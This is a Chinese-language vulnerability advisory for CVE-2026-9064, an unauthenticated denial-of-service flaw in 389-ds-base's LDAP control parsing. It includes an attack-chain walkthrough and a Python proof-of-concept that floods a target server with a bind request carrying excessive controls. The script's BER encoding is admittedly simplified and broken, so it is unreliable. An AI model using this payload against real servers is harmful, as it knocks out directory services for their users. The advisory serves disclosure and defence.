IPBUF安全漏洞报告
English
CVE-2026-9064 CVSS 7.5 高危

CVE-2026-9064 389-ds-base LDAP服务拒绝服务漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-9064
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
389-ds-base

相关标签

拒绝服务DoSLDAP资源耗尽389-ds-baseCVE-2026-9064

漏洞概述

389-ds-base LDAP服务器中的get_ldapmessage_controls_ext()函数存在安全缺陷,未对每个LDAP消息中的控制数量施加上限。远程未认证攻击者可利用此漏洞,发送包含大量最小控制的特制LDAP请求,导致服务器CPU和内存资源耗尽,引发拒绝服务。

技术细节

漏洞位于LDAP服务器的get_ldapmessage_controls_ext()函数中,该函数在处理LDAP消息时未校验控制字段的数量上限。攻击者可构造一个在默认2MB BER消息大小限制内包含数十万个最小控制的恶意LDAP请求。当服务器解析此类请求时,会触发过度的CPU消耗和堆内存分配。在并发攻击场景下,这将导致工作线程饥饿、服务响应延迟显著增加,甚至因内存不足(OOM)导致服务进程终止,从而实现拒绝服务攻击。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别出使用389-ds-base的LDAP服务器及其开放的端口(默认389或636)。
STEP 2
2. 构造恶意载荷
攻击者编写脚本,构造一个符合BER格式但包含大量控制字段的LDAP绑定请求,确保数据包大小在服务器允许的范围内(如2MB)。
STEP 3
3. 发送攻击请求
攻击者通过未认证的连接,将构造好的恶意数据包发送给目标LDAP服务器。
STEP 4
4. 资源耗尽
服务器处理该请求时,由于需要解析和分配大量控制结构,导致CPU使用率激增和堆内存迅速消耗。
STEP 5
5. 拒绝服务
在高并发攻击下,服务器工作线程被阻塞或耗尽,无法响应正常用户的LDAP请求,导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # Exploit Concept for CVE-2026-9064 # This script demonstrates how to send a crafted LDAP message with excessive controls. LDAP_MESSAGE_ID = 1 LDAP_BIND_REQUEST = 0x60 LDAP_CONTROL_OID = "1.3.6.1.4.1.4203.666.5.16" # Example OID def build_ldap_control(oid): """Build a minimal LDAP control BER encoding.""" oid_bytes = oid.encode('utf-8') # Control ::= SEQUENCE { controlOID LDAPOID, criticality BOOLEAN DEFAULT FALSE, controlValue OCTET STRING OPTIONAL } # Minimal structure: OID + Criticality(False) return b"\x30" + struct.pack('>B', len(oid_bytes) + 2) + b"\x04" + struct.pack('>B', len(oid_bytes)) + oid_bytes + b"\x01" + b"\x01" + b"\x00" def build_exploit_packet(num_controls): """Build an LDAP Bind Request with excessive controls.""" controls = b"" for _ in range(num_controls): controls += build_ldap_control(LDAP_CONTROL_OID) # Simplified LDAP Message structure # messageID + bindRequest + [controls] # This is a conceptual representation; actual BER encoding requires strict length calculation. header = struct.pack('>I', LDAP_MESSAGE_ID) bind_req = b"\x60" + b"\x03" + b"\x01" + b"\x01" + b"\x00" # Simple Bind Version 3, Anonymous # Construct controls part (A0 context-specific) controls_wrapper = b"\xA0" + struct.pack('>B', len(controls)) + controls return header + bind_req + controls_wrapper def send_exploit(target_ip, target_port, num_controls=100000): """Send the exploit to the target server.""" try: payload = build_exploit_packet(num_controls) # Note: Actual BER encoding length fields (L in TLV) need to handle multi-byte if > 127 bytes. # This pseudo-code assumes a simplified single-byte length for demonstration. # Real exploit requires precise BER construction. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.sendall(payload) print(f"[+] Sent payload with {num_controls} controls to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"[-] Error: {e}") # Usage # send_exploit("192.168.1.100", 389, num_controls=200000)

影响范围

389-ds-base (具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
建议立即升级软件版本以修复漏洞。若无法立即升级,可配置防火墙规则限制来源IP,或在LDAP前部署代理设备以限制单个连接的请求速率和大小,减轻攻击影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表